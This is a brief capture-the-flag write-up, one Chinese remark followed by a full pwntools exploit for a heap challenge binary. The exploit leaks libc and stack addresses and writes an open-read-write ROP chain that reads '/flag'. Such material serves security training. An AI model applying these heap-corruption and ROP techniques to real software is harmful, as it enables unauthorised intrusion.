也是挺简单的一题,比赛的时候刚好没看…
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
plo = lambda o:p64(libc_base+o)
def new(i,s,c):
sla('d: ','C')
sla('x: ',str(i))
sla('g: ',str(s))
sda('g: ',c)
def free(i):
sla('d: ','F')
sla('x: ',str(i))
def show(i):
sla('d: ','R')
sla('x: ',str(i))
ru('g: ')
def edit(i,c):
sla('d: ','W')
sla('x: ',str(i))
sda('g: ',c)
p = process('./oldheap',aslr=False)
new(0,0x18,'fast')
new(1,0x100000,'libc')
for i in range(3):
new(i+2,0x18,'a')
for i in range(3):
free(i+2)
free(0)
show(0)
rc(8*5)
libc_base = u64(rc(8))+0x100ff0
success('libc_base --> %s',hex(libc_base))
edit(0,p64(0)*4 + p64(0x8) + p64(libc_base+0x221200))
show(1)
stack_addr = u64(rc(8))
success('stack_addr --> %s',hex(stack_addr))
pop_rdi_ret = 0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51
pop_rdx_r12_ret = 0x000000000011f497
pop_rax_ret = 0x0000000000045eb0
syscall_ret = 0x0000000000091396
edit(0,p64(0)*4 + p64(0x1000) + p64(stack_addr-0x148))
#dbg('b *0x400B1D\nc')
edit(1,b'/flag\0\0\0' \
+ plo(pop_rdi_ret) + p64(stack_addr-0x148) \
+ plo(pop_rsi_ret) + p64(0) \
+ plo(pop_rdx_r12_ret) + p64(0)*2 \
+ plo(pop_rax_ret) + p64(2) + plo(syscall_ret)
+ plo(pop_rdi_ret) + p64(3) \
+ plo(pop_rsi_ret) + p64(stack_addr) \
+ plo(pop_rdx_r12_ret) + p64(0x30) + p64(0) \
+ plo(pop_rax_ret) + p64(0) + plo(syscall_ret) \
+ plo(pop_rdi_ret) + p64(1) \
+ plo(pop_rax_ret) + p64(1) + plo(syscall_ret))
irt()